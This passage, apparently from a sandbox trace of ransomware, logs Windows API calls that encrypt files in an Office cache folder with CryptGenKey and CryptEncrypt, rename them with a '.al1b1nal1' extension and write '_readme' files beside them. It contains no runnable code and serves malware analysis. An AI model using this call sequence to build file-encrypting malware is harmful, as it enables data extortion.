users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0110.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0110.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378c78 [0110.074] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0110.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378b70 [0110.075] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0110.075] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0110.075] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0110.075] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x119fafc, lpLastWriteTime=0x119fafc) returned 1 [0110.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0110.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0110.076] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0110.076] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0110.076] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0cb8 [0110.076] GetFileTime (in: hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8*(dwLowDateTime=0xfc3e4630, dwHighDateTime=0x1d301be)) returned 1 [0110.076] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab11c8 [0110.076] CryptGenKey (in: hProv=0x2dd990, Algid=0x6610, dwFlags=0x1000001, phKey=0x119fb20 | out: phKey=0x119fb20*=0x2e8fc0) returned 1 [0110.076] CryptExportKey (in: hKey=0x2e8fc0, hExpKey=0x2e22e8, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x119fb1c | out: pbData=0x0*, pdwDataLen=0x119fb1c*=0x20c) returned 1 [0110.076] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x240) returned 0x123a4f8 [0110.076] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab11c8) returned 1 [0110.076] CryptExportKey (in: hKey=0x2e8fc0, hExpKey=0x2e22e8, dwBlobType=0x1, dwFlags=0x0, pbData=0x123a4f8, pdwDataLen=0x119fb1c | out: pbData=0x123a4f8*, pdwDataLen=0x119fb1c*=0x20c) returned 1 [0110.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab11c8 [0110.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0110.077] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0x0 [0110.077] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x119fb28*=0) returned 0x0 [0110.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5c0) returned 0x11f6058 [0110.077] ReadFile (in: hFile=0x2a0, lpBuffer=0x11f6058, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x11f6058*, lpNumberOfBytesRead=0x119fb28*=0x5aa, lpOverlapped=0x0) returned 1 [0110.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5c0) returned 0x9f5648 [0110.079] CryptEncrypt (in: hKey=0x2e8fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1273230*, pdwDataLen=0x119fb24*=0x5aa, dwBufLen=0x9aa | out: pbData=0x1273230*, pdwDataLen=0x119fb24*=0x5b0) returned 1 [0110.080] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0x0 [0110.080] WriteFile (in: hFile=0x2a0, lpBuffer=0x11f6058*, nNumberOfBytesToWrite=0x5aa, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x11f6058*, lpNumberOfBytesWritten=0x119fb28*=0x5aa, lpOverlapped=0x0) returned 1 [0110.080] FlushFileBuffers (hFile=0x2a0) returned 1 [0110.083] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8) returned 1 [0110.084] NtClose (Handle=0x2a0) returned 0x0 [0110.085] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.al1b1nal1" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.al1b1nal1")) returned 1 [0110.085] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.al1b1nal1", dwFileAttributes=0x2020) returned 1 [0110.085] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.al1b1nal1_readme", dwFileAttributes=0x80) returned 0 [0110.085] GetLastError () returned 0x2 [0110.085] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.al1b1nal1_readme" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.al1b1nal1_readme"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x9d5070, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x119fb60)) returned 0 [0110.085] GetLastError () returned 0x2 [0110.086] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.al1b1nal1_readme" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.al1b1nal1_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0110.086] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x119fafc, lpLastWriteTime=0x119fafc) returned 1 [0110.086] WriteFile (in: hFile=0x2a0, lpBuffer=0x94fe10*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x94fe10*, lpNumberOfBytesWritten=0x119fb28*=0x164, lpOverlapped=0x0) returned 1 [0110.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab11c8 [0110.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xb) returned 0x94d630 [0110.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab1210 [0110.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d630) returned 1 [0110.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab1210) returned 1 [0110.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2d1) returned 0x13651e8 [0110.088] WriteFile (in: hFile=0x2a0, lpBuffer=0x13651e8*, nNumberOfBytesToWrite=0x2e9, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x13651e8*, lpNumberOfBytesWritten=0x119fb28*=0x2e9, lpOverlapped=0x0) returned 1 [0110.089] GetFileTime (in: hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fc3c*(dwLowDateTime=0x8b31ec10, dwHighDateTime=0x1d5d030)) returned 1 [0110.089] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8) returned 1 [0110.089] NtClose (Handle=0x2a0) returned 0x0 [0110.090] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.al1b1nal1_readme", dwFileAttributes=0x2020) returned 1 [0110.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13651e8) returned 1 [0110.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0110.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0110.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123a4f8) returned 1 [0110.090] CryptDestroyKey (hKey=0x2e8fc0) returned 1 [0110.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0cb8) returned 1 [0110.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1378c78) returned 1 [0110.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1378b70) returned 1 [0110.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0110.091] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4)) returned 1 [0110.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0110.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0110.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0110.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0110.091] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0110.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0110.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0110.092] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4)) returned 1 [0110.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0110.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378b70 [0110.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0110.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378c78 [0110.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0110.092] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4)) returned 1 [0110.092] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0110.093] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x119fafc, lpLastWriteTime=0x119fafc) returned 1 [0110.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0110.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0110.093] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0110.093] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0110.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0cb8 [0110.093] GetFileTime (in: hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8*(dwLowDateTime=0xfc47e320, dwHighDateTime=0x1d301be)) returned 1 [0110.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0110.094] CryptGenKey (in: hProv=0x2dd990, Algid=0x6610, dwFlags=0x1000001, phKey=0x119fb20 | out: phKey=0x119fb20*=0x2e8fc0) returned 1 [0110.094] CryptExportKey (in: hKey=0x2e8fc0, hExpKey=0x2e22e8, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x119fb1c | out: pbData=0x0*, pdwDataLen=0x119fb1c*=0x20c) returned 1 [0110.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x240) returned 0x123a4f8 [0110.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0110.094] CryptExportKey (in: hKey=0x2e8fc0, hExpKey=0x2e22e8, dwBlobType=0x1, dwFlags=0x0, pbData=0x123a4f8, pdwDataLen=0x119fb1c | out: pbData=0x123a4f8*, pdwDataLen=0x119fb1c*=0x20c) returned 1 [0110.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0110.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab11c8 [0110.094] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0x0 [0110.095] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x119fb28*=0) returned 0x0 [0110.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x97f400) returned 0x1ae0020 [0110.095] ReadFile (in: hFile=0x2a0, lpBuffer=0x1ae0020, nNumberOfBytesToRead=0x97f3f4, lpNumberOfBytesRead=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x1ae0020*, lpNumberOfBytesRead=0x119fb28*=0x97f3f4, lpOverlapped=0x0) returned 1 [0110.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x97f400) returned 0x2460020 [0111.993] CryptEncrypt (in: hKey=0x2e8fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2460020*, pdwDataLen=0x119fb24*=0x97f3f4, dwBufLen=0x97f7f4 | out: pbData=0x2460020*, pdwDataLen=0x119fb24*=0x97f400) returned 1 [0112.289] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0x0 [0112.289] WriteFile (in: hFile=0x2a0, lpBuffer=0x1ae0020*, nNumberOfBytesToWrite=0x97f3f4, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x1ae0020*, lpNumberOfBytesWritten=0x119fb28*=0x97f3f4, lpOverlapped=0x0) returned 1 [0112.692] FlushFileBuffers (hFile=0x2a0) returned 1 [0113.090] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8) returned 1 [0113.090] NtClose (Handle=0x2a0) Thread: id = 412 os_tid = 0xbb0 [0093.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.280] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.281] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.281] GetFileType (hFile=0x180) returned 0x3 [0093.281] ResetEvent (hEvent=0xdc) returned 1 [0093.281] SetEvent (hEvent=0xe0) returned 1 [0093.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.283] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.283] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.284] GetFileType (hFile=0x180) returned 0x0 [0093.284] ResetEvent (hEvent=0xdc) returned 1 [0093.284] SetEvent (hEvent=0xe0) returned 1 [0093.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.285] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.286] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.286] GetFileType (hFile=0x180) returned 0x3 [0093.286] ResetEvent (hEvent=0xdc) returned 1 [0093.286] SetEvent (hEvent=0xe0) returned 1 [0093.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.288] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.288] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.288] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.288] GetFileType (hFile=0x180) returned 0x0 [0093.288] ResetEvent (hEvent=0xdc) returned 1 [0093.288] SetEvent (hEvent=0xe0) returned 1 [0093.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.290] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.290] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.290] GetFileType (hFile=0x180) returned 0x3 [0093.290] ResetEvent (hEvent=0xdc) returned 1 [0093.290] SetEvent (hEvent=0xe0) returned 1 [0093.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.292] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.292] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.293] GetFileType (hFile=0x180) returned 0x0 [0093.293] ResetEvent (hEvent=0xdc) returned 1 [0093.293] SetEvent (hEvent=0xe0) returned 1 [0093.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.294] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.295] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.295] GetFileType (hFile=0x180) returned 0x3 [0093.295] ResetEvent (hEvent=0xdc) returned 1 [0093.295] SetEvent (hEvent=0xe0) returned 1 [0093.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.296] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.297] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.297] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.297] GetFileType (hFile=0x180) returned 0x0 [0093.297] ResetEvent (hEvent=0xdc) returned 1 [0093.297] SetEvent (hEvent=0xe0) returned 1 [0093.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.299] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.299] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.299] ResetEvent (hEvent=0xdc) returned 1 [0093.299] SetEvent (hEvent=0xe0) returned 1 [0093.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.301] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.301] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.301] ResetEvent (hEvent=0xdc) returned 1 [0093.301] SetEvent (hEvent=0xe0) returned 1 [0093.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.303] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.303] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.303] ResetEvent (hEvent=0xdc) returned 1 [0093.303] SetEvent (hEvent=0xe0) returned 1 [0093.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.305] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.305] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.305] ResetEvent (hEvent=0xdc) returned 1 [0093.305] SetEvent (hEvent=0xe0) returned 1 [0093.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.307] WaitForMultipleObjects (nCount=0x2, 